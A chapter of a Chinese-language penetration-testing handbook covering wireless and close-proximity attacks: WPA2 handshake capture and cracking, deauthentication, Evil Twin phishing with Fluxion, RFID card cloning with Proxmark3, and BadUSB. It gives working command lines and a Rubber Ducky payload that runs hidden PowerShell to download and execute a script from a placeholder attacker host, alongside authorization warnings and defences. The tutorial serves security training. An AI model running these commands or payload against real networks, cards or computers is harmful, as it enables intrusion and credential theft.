逆向工程实战手册 第 84 章

第 84 章 无线与近源攻击(WiFi / 蓝牙 / RFID / BadUSB)

近源渗透 = 在目标物理附近发起攻击:WiFi 破解与钓鱼、蓝牙攻击、RFID 门禁克隆、BadUSB 注入。这是"物理边界"的攻击面——网络层防护再好,物理接近就能突破。对应 MITRE ATT&CK 的初始访问(TA0001)中的物理/无线向量。

📍 知识点地图 | 主题:无线近源 | 前置:第63章 | 后续:— | 核心概念:WPA2破解、Evil Twin、RFID、BadUSB

84.1 近源攻击面全景

无线攻击面:
  WiFi: 破解(WPA2/WPA3)/ 钓鱼(Evil Twin)/ 主动探测(Probe)
  蓝牙: 蓝牙音箱/耳机/手机攻击(BlueBorne 类)
  RFID/NFC: 门禁卡/公交卡/工牌克隆(Proxmark3)
  Zigbee/其他: 智能家居协议

物理攻击面:
  BadUSB: 插入即注入键盘按键(Rubber Ducky)
  充电攻击: 充电口数据注入
  设备植入: 伪装设备(WiFi Pineapple)

场景价值:
  □ 攻破"网络不可达"的目标(物理隔离网段)
  □ 拿到办公区网络接入点
  □ 门禁突破(物理进入)
  □ 社工配合(攻击者伪装成 IT/访客)

84.2 WiFi 攻击(最常用的近源手段)

WPA2 破解(传统弱口令)

原理: WPA2 四次握手 → 捕获握手包 → 离线破解 PSK(密码)
条件: 目标用 WPA2-PSK(个人模式)+ 弱密码

流程:
1. 监听模式开启
   sudo airmon-ng start wlan0

2. 扫描目标
   sudo airodump-ng wlan0mon

3. 捕获握手包(等目标设备连接 / 主动断开触发重连)
   sudo airodump-ng -c <channel> --bssid <MAC> -w capture wlan0mon
   # 另开终端断开客户端触发重连
   sudo aireplay-ng -0 5 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon

4. 离线破解(第 59 章思路)
   aircrack-ng -w wordlist.txt capture-01.cap
   hashcat -m 22000 capture.hc22000 wordlist.txt

WPA3 说明: 加了 SAE 防离线破解 → 弱密码仍然可能被字典命中,但离线抓包攻击被削弱

Evil Twin(钓鱼 WiFi,更通用)

原理: 搭一个"同名假 WiFi" → 受害者连上来 → 流量经过你 / 钓鱼页面

工具: Fluxion(自动化):
  1. 扫描目标 WiFi
  2. 复制它的 SSID 和信道
  3. 干扰真 WiFi(deauth 踢人)
  4. 受害者连上假 WiFi
  5. 弹出"WiFi 密码已更改,请重新输入"钓鱼页面
  6. 受害者输入密码 → 拿到 WPA2 密码

更通用方案(WiFi Pineapple):
  自动克隆常见 SSID → 自动钓鱼凭证/推送恶意页面

WiFi 攻击检查清单

□ 无线网卡支持监听模式(monitor mode)
□ 目标信号强度(靠近/定向天线)
□ 破解: 捕获握手 → 字典/规则破解
□ 钓鱼: Fluxion 自动化 / 手工 Evil Twin
□ 企业 WiFi: WPA2-Enterprise 有独立攻击面(PEAP 凭据窃取)
□ 记录: BSSID/信道/破解结果

84.3 蓝牙攻击

攻击面:
  BlueBorne 类(老漏洞): 远程代码执行/中间人(无需配对)
  蓝牙 PIN 破解: 简单配对嗅探
  蓝牙设备指纹: 识别设备型号
  垃圾短信/电话: 蓝牙身份伪造(部分老设备)

工具: 内置 hcitool/bluetoothctl、Ubertooth(专业嗅探)

现实评估: 现代系统修复多数老漏洞 → 蓝牙攻击价值下降
主要用途: 物理渗透中的"设备发现+社会工程辅助"

84.4 RFID / NFC 门禁克隆(物理进入)

原理: 门禁卡 = RFID 标签(低频 125kHz / 高频 13.56MHz)
低频卡(HID Prox 等): 部分可克隆(非加密)
高频卡(Mifare Classic): 有加密,但部分已知密钥可破解

工具: Proxmark3(主力)
流程:
  1. 靠近门禁卡读取(无需接触)
     proxmark3> lf hid reader
     proxmark3> hf mf chk --dump          # 高频卡检测
  2. 破解/克隆
     # HID: 读取 ID → 写入空白卡
     # Mifare: 已知密钥读取 → 克隆
  3. 复制到空白卡 → 刷卡进入

风险提示: 物理访问/克隆门禁涉及明确法律边界,只可在授权测试中使用

84.5 BadUSB(插入即攻)

原理: USB 设备伪装成键盘 → 插入后自动"打字"执行命令
工具: Rubber Ducky / Flipper Zero / 自写 Arduino

Payload 示例(Rubber Ducky 脚本):
  STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/p.ps1')"
  ENTER

流程:
  1. 编写 payload(快捷键注入:Win+R → 命令)
  2. 写入设备
  3. 插入目标电脑 → 数秒内执行

对抗: 键盘过滤/设备白名单(企业部署可阻断)
注意: 明确授权才能使用(恶意 USB 是攻击者常备武器)

84.6 无线渗透完整流程(方法论)

1. 侦察(无源):
   □ 扫描 WiFi(SSID/加密/信道/客户端)
   □ 蓝牙/RFID 设备发现
   □ 记录目标环境(设备型号/位置)
2. 选择攻击面(按 ROI):
   □ 弱密码 WiFi → 破解
   □ 公开 WiFi → Evil Twin/钓鱼
   □ 门禁 → RFID 克隆
   □ 办公电脑 → BadUSB(需物理接触)
3. 执行攻击
4. 利用落地: 进入内网 → 第 62 章横向
5. 报告: 无线攻击链 + 修复建议

84.7 防御视角(蓝队呼应)

□ WPA3/WPA2-Enterprise(802.1X)+ 强密码策略
□ 无线入侵检测(WIDS: 检测 Evil Twin/异常 AP)
□ 门禁: 加密卡 + 双向认证 + 日志审计
□ USB 设备白名单 + 键盘过滤
□ 访客网络隔离
□ 员工教育(陌生 USB/公共 WiFi 风险)

84.8 检查清单

□ 网卡监听模式
□ 目标 WiFi 枚举(SSID/加密/信道)
□ 握手包捕获 + 离线破解
□ Evil Twin 钓鱼(Fluxion)
□ 蓝牙设备发现
□ RFID 读取/克隆(Proxmark3)
□ BadUSB payload(Rubber Ducky)
□ 内网接入与横向
□ 报告: 无线攻击链

动手练习

  1. 在自己的 AP 上练习 WPA2 破解:配置弱密码 → 捕获握手包 → 字典破解。
  2. 用 Fluxion 对自家 WiFi 做 Evil Twin 演练(理解钓鱼流程,不实际攻击他人)。
  3. 用 Proxmark3 读取你的一张门禁卡/交通卡,理解 RFID 数据结构(克隆需授权)。
  4. 写一个 Rubber Ducky payload 脚本(在自己测试机演练),理解 BadUSB 原理。

深入阅读

  • 仓库:skills/attack-chain/SKILL.md(近源渗透章节:BadUSB/WiFi 钓鱼/RFID)
  • 仓库:skills/pentest-tools/SKILL.md(Fluxion/aircrack-ng 工具链)
  • 仓库:skills/attack-chain/references/attack-playbooks.md(近源 playbook)
  • 外部: Fluxion 文档、Proxmark3 文档、Rubber Ducky 官方 payload 库